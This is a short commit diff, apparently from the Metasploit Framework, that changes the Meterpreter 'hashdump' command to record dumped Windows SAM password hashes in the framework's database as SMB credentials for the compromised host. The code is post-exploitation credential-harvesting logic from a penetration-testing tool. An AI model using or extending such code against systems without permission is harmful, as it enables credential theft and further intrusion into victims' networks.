Hashdump will now save found credentials to the database.
git-svn-id: file:///home/svn/framework3/trunk@11347 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
9c1f7b28e2
commit
9627194330
|
@ -38,6 +38,16 @@ class Console::CommandDispatcher::Priv::Passwd
|
|||
def cmd_hashdump(*args)
|
||||
client.priv.sam_hashes.each { |user|
|
||||
print_line("#{user}")
|
||||
returned_hash = user.to_s.split(":")
|
||||
client.framework.db.report_auth_info(
|
||||
:host => client.sock.peerhost,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:user => returned_hash[0],
|
||||
:pass => returned_hash[2] +":"+ returned_hash[3],
|
||||
:type => "smb_hash"
|
||||
)
|
||||
|
||||
}
|
||||
|
||||
return true
|
||||
|
|
Loading…
Reference in New Issue